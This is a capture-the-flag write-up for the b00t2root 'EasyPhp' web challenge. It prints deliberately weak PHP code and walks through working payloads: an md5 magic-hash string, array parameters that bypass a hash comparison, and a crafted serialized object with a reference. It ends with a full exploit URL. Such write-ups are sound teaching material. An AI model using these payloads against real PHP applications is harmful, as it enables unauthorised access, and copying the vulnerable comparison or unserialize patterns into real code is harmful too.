b00t2root CTF: EasyPhp

This blog post is about the web challenge “EasyPhp” by IceWizard.  This was part of the b00t2root CTF.  I didn’t think the challenge was “easy” but I did learn about some interesting PHP vulnerabilities, so I’m sharing it here.

The original site was http://3.16.68.122/Easy-php/ but since that site will likely be taken down, the original file is:

<?php 
include "flag.php"; 
highlight_file(__FILE__); 
error_reporting(0); 
$str1 = $_GET['1']; 

if(isset($_GET['1'])){ 
    if($str1 == md5($str1)){ 
        echo $flag1; 
    } 
    else{ 
        die(); 
    } 
} 
else{ 
    die();    
} 

$str2 = $_GET['2']; 
$str3 = $_GET['3']; 

if(isset($_GET['2']) && isset($_GET['3'])){ 
    if($str2 !== $str3){ 
        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 
            echo $flag2; 
        } 
        else{ 
            die(); 
        } 
    } 
    else{ 
        die(); 
    } 
} 
else{ 
    die();    
} 
?> 
<?php 

class Secrets { 
    var $temp; 
    var $flag; 
} 
    
if (isset($_GET['4'])) { 
    $str4 = $_GET['4']; 

    if(get_magic_quotes_gpc()){ 
        $str4=stripslashes($str4); 
    } 
    
    $res = unserialize($str4); 
    
    if ($res) { 
    $res->flag=$flag3; 
        if ($res->flag === $res->temp) 
            echo $res->flag; 
        else 
            die(); 
    } 
    else die(); 
} 

?>

Strategy

We can see that the file includes “flag.php”, and gives us back three different flags if we meet the conditionals.  As it turns out, we get back three parts of a single flag.

I’ll break this blog post down into the three separate areas that we have to solve in order to get the flag.  We can see that each one is passed in as a query parameter, because of $_GET['1'], $_GET['2'] and so on.

$flag1

The first part is as follows:

$str1 = $_GET['1']; 

if(isset($_GET['1'])){ 
    if($str1 == md5($str1)){ 
        echo $flag1; 
    } 
    else{ 
        die(); 
    } 
} 
else{ 
    die();    
}

In short, we need to enter a string (as parameter “1”) where the md5 of the string is equivalent to the string itself.  Wait, what?

That should be impossible (?), but the trick here is the == which is different than === (yes I know, computers are terrible).  PHP has two main comparison modes. The “loose” comparison mode, as shown on page 7 of this presentation, is easier for us to exploit.  Page 9 shows that if an operand “looks like” a number (for example, 0e12345), it will convert them and perform a numeric comparison. So, we’re looking for two strings that PHP will incorrectly interpret as numbers, specifically in scientific notation (“0e….")

Thankfully someone else already brute-forced this for us, as seen here.  The md5 hash of 0e215962017 is 0e291242476940776845150308577824.

So, if we plug in that string as our first parameter, we get the first part of our flag:

http://3.16.68.122/Easy-php/?1=0e215962017

$flag2

Next up:

$str2 = $_GET['2']; 
$str3 = $_GET['3']; 

if(isset($_GET['2']) && isset($_GET['3'])){ 
    if($str2 !== $str3){ 
        if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){ 
            echo $flag2; 
        } 
        else{ 
            die(); 
        } 
    } 
    else{ 
        die(); 
    } 
} 
else{ 
    die();    
}

Another head-scratcher:  we need to find two parameters that are not equal to each other, yet when we hash a concatenation of a pre-determined salt, and the parameters, they equal each other.

When I originally wrote the preceding sentence, I wrote “find two strings”… but that’s an assumption on my part.  We have to supply two parameters, they don’t need to be of type string.  In fact, we’ll get through this section by exploiting that assumption.

If we send in two arrays, as shown in this CTF writeup, something weird happens when you concat them with another variable.

You can try this code out at writePHPonline:

$salt = "something";
$str2[] = 1;
$str3[] = 2;

if ($str2 !== $str3) {
  echo "str2 is different from str3";
}

echo ($salt . $str2);
echo ($salt . $str3);

If you run it, you’ll see that $str2 is considered different from $str3, so our first check passes.

Then, when we concatenate a string with an array, the output is “somethingArray”.  Huh.  So PHP seems to be converting the array to the string “Array” and then concatenating it to the salt variable.

That gives us our next bit of URL:

http://3.16.68.122/Easy-php/?1=0e215962017&2[]=1&3[]=2

$flag3

This tripped me for a while and I got some help from a teammate.  Let’s take a look at the code:

<?php 

class Secrets { 
    var $temp; 
    var $flag; 
} 
    
if (isset($_GET['4'])) { 
    $str4 = $_GET['4']; 

    if(get_magic_quotes_gpc()){ 
        $str4=stripslashes($str4); 
    } 
    
    $res = unserialize($str4); 
    
    if ($res) { 
    $res->flag=$flag3; 
        if ($res->flag === $res->temp) 
            echo $res->flag; 
        else 
            die(); 
    } 
    else die(); 
} 

?>

Interestingly enough, we get a class declaration.  While searching for “unserialize”, I came across a number of interesting exploits that focus on PHP object injection.  I spent a lot of time reading this slide deck from InsomniaSec.  This guide, along with several others, focused on the usage of “magic methods” like __destruct()`` and __wakeup()``.  Unfortunately, our class doesn’t instantiate any such methods, so we’re out of luck there.

For our 4th parameter, we need to pass in a serialized version of a Secrets object (as defined by the Secrets class code).  If we have any slashes, they’ll be stripped out.  That’s fine, I wasn’t planning on using any anyway…

If the object is successfully unserialized, we will put the value of $flag3 into the object’s $flag property.  And, if the $temp property equals that, then we’re good.  After attempting (and failing) at a lot of object injection ideas, I thought… can we brute force this?  Luckily for me, I didn’t really try that route, which is good, because as it turns out, the last part of the flag is very long.

I got help from a teammate and this CTF writeup, which mentions that you can serialize things with references in them, including circular references.  By this point, I was trying to figure out how to reference the other variable using $this, without much luck.

The correct syntax is as follows:

class Secrets {
    var $temp;
    var $flag;
}

$a = new Secrets;
$a->temp = &$a->flag;

echo serialize($a);  // outputs:  O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}

This needs to be URL-encoded, so if we add this as our final parameter:

O%3A7%3A%22Secrets%22%3A2%3A%7Bs%3A4%3A%22temp%22%3BN%3Bs%3A4%3A%22flag%22%3BR%3A2%3B%7Dn

Our full URL request will be:

http://3.16.68.122/Easy-php/?1=0e215962017&2[]=1&3[]=2&4=O%3A7%3A%22Secrets%22%3A2%3A%7Bs%3A4%3A%22temp%22%3BN%3Bs%3A4%3A%22flag%22%3BR%3A2%3B%7Dn